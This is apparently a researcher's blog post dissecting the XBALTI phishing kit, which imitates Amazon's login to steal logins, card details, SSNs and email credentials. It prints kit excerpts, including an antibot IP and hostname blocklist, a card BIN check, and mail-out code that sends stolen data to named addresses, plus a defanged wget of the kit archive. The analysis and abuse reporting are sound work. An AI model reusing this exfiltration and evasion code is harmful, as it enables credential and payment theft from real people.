XBALTI Phishing Scam

5 minute read

We’re back with something a little different this time. I found myself pretty bored this Sunday so I decided to go searching for some active phishing campaigns. I think it’s interesting to look into what tools and techniques are being employed by cyber criminals.

I came across one campaign targeting Amazon users which obviously piqued my interest ;). The kit itself doesn’t seem to be new, but new instances are still popping up. The kit appears to written by someone who calls themselves “XBALTI”; they plasted their signature all over the source code (bad OPSEC?), which we’ll get into later.

/*   
             ,;;;;;;;,
            ;;;;;;;;;;;,
           ;;;;;'_____;'
           ;;;(/))))|((\
           _;;((((((|))))
          / |_\\\\\\\\\\\\
     .--~(  \ ~))))))))))))
    /     \  `\-(((((((((((\\
    |    | `\   ) |\       /|)
     |    |  `. _/  \_____/ |
      |    , `\~            /
       |    \  \ BY XBALTI /
      | `.   `\|          /
      |   ~-   `\        /
       \____~._/~ -_,   (\
        |-----|\   \    ';;
       |      | :;;;'     \
      |  /    |            |
      |       |            |                   
*/

Let’s dive into it

Website Interaction

If you want a more detailed/zoomed in look at the screenshots: Right-click > Open image in tab. Sorry

The index page presents a fairly covincing login page that mimics Amazon’s actual login page:

Index

If we continue along the execution path, we end up at a page that serves to steal billing and payment information from users:

Billing1

Billing2

Furthermore, the kit attempts to also steal victim’s social security numbers if it detects the victim is coming from the US:

Billing3

Finally, the victim is asked to “link their e-mail” which is a clear attempt to also steal victim’s actual e-mail creds:

Email Steal

After poking around some more, I discovered that whoever deployed this instance of XBALTI left the document root directory listable:

Source Zip

wget hxxp://bomsnds.com/amz.zip . :)

Source Code Brief

Source Tree Source Tree

Looking around at the source code reveals that the code is rather scrappily (read: shittly) written. Credentials for the admin panel are hardcoded in the source, there is an “antibot” class that barely works, and the architecture doesn’t make much sense.

The application starts by creating a specific sub-folder for every IP it sees, and copying the application code to that sub-directory. This is how we end up with the path hxxp://bomsnds.com/mazon/6c3ad:

Index.php

session_start();
include('amazon/antibots.php');
$random = rand(0,100000).$_SERVER['REMOTE_ADDR'];
$dst		= substr(md5($random), 0, 5);
	
function recurse_copy($src, $dst) {

	$dir = opendir($src);
	$result = ($dir === false ? false : true);

	if ($result !== false) {
		$result = @mkdir($dst);

		if ($result === true) {
			while(false !== ( $file = readdir($dir)) ) { 
				if (( $file != '.' ) && ( $file != '..' ) && $result) { 
					if ( is_dir($src . '/' . $file) ) { 
						$result = recurse_copy($src . '/' . $file,$dst . '/' . $file); 
					} else { 
						$result = copy($src . '/' . $file,$dst . '/' . $file); 
					} 
				} 
			} 
			closedir($dir);
		}
	}

	return $result;
}

$src="amazon";
recurse_copy( $src, $dst );
header("location:".$dst."");
exit;

Not entirely clear on the point of this line $random = rand(0,100000).$_SERVER['REMOTE_ADDR'];, maybe it’s an attempt at obfuscation but the IP is never used, only whatever rand(0,100000) returns…

Anyway, diving into the antibot functionality, we can see that this is the application’s attempt at only allowing real users to interact with it. A quick glance will prove that it is quite a poor attempt, as it is a custom rolled feature with a rather lengthy hand-written blacklist containing things such as:

  • Popular crawler hostnames
  • Popular ad company hostnames
  • Popular cloud provider hostnames (kind of…)
  • Tor exit nodes
  • List of ‘blocked’ IPs. These IP addresses come from various cloud providers; however, it is not an exhaustive list :)

If you do not pass their antibot check, you will be redirected to https://amazon.com. I have not personally had the antibot functionlity trigger on me. Code snippet below:

antibots.php

session_start();
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$blocked_words =
    array("bot",
     "above",
     "google",
     "softlayer",
	 "amazonaws",
	 "cyveillance",
	 "phishtank",
	 "dreamhost",
	 "netpilot",
	 "calyxinstitute",
	 "tor-exit",
	 "apache-httpclient",
	 "lssrocketcrawler",
     "crawler",

...snip...

$bannedIP = array("^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*",
 "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*",

...snip...

 if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
     header('location: https://amazon.com');
     exit();
} else {
     foreach($bannedIP as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
               header('location: https://amazon.com');
          }
     }
}

Interesting Functionality

The XBALTI directory contains some more of the interesting fucntionality. Source tree below:

ubuntu@host:~/phishers/amazon-phish/mazon/amazon/XBALTI$ tree
.
├── Email.php
├── check_bin.php
├── get_browser.php
├── get_ip.php
├── get_pass.php
├── index.php
├── send_billing.php
├── send_card.php
├── send_email.php
├── send_login.php
└── send_vbv.php

0 directories, 11 files

Most of these files do exactly what you would expect, given the filenames; however, check_bin.php and the send_*.php files yield some interesting info :)

check_bin.php

session_start();
$bin        = str_replace(' ', '', $_SESSION['cardnumber']);
$bin        = substr($bin, 0, 6);
$getdetails = 'https://lookup.binlist.net/' . $bin;
$curl       = curl_init();
curl_setopt($curl, CURLOPT_URL, $getdetails);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
$content    = curl_exec($curl);
curl_close($curl);
$details  = json_decode($content);
$_SESSION['_cctype_'] = $cctype   = $details->scheme;
$_SESSION['_namebank_'] = $namebank   = $details->bank->name;
?>

The dev(s) are making use of the binlist API in order to check the validity of CC numbers before storing them. I took a look at the API and decided to check to see if it could be fooled. After navigating over to FakeNameGenerator and grabbing some fake credentials, I plugged them into the binlist API and viola, it’s a “real” (read: fake) CC number!

Fake 1 Fake 2 API Fooled

Would be such a shame if someone flooded the phishing forms with a bunch of fake info

Phone home details

Inspecting the send_*.php files reveals the folllowing code snippet:

</html>\n";
    $khraha = fopen("../../admin/rezulta.php", "a");
	fwrite($khraha, $msg);
    $subject .= "LOGIN INFO FROM [".$_SESSION['country']."] 😈 [".$_SESSION['_ip_']."]";
    $headers .= "From: <XBALTI>";
    $headers .= "MIME-Version: 1.0\n";
	$headers .= "Content-type: text/html; charset=UTF-8\n";
    @mail($Email, $subject, $msg, $headers);
?>

$Email is contained in Email.php which contains the phone home e-mail address(es) as well as the admin panel password:

<?php

$Email = "collinshofmann@outlook.com, castilloalphonso@gmail.com"; // Your Email Here :)

$_SESSION['ps'] = "REDACTED"; // Your Password Here :)
?>

Just in case it wasnt clear, the e-mail addresses being used to receive stolen credentials are:

  • collinshofmann@outlook.com
  • castilloalphonso@gmail.com

Conclusion?

I suppose there really isn’t a conclusion to the story; however, I have reported the domain and emails to whatever abuse channels I could find. The domain is still up and free to steal more credentials as of the time of this post.

I just hope this post helps shed some light on whoever/whatever this is and makes their life a little harder :)

Updated: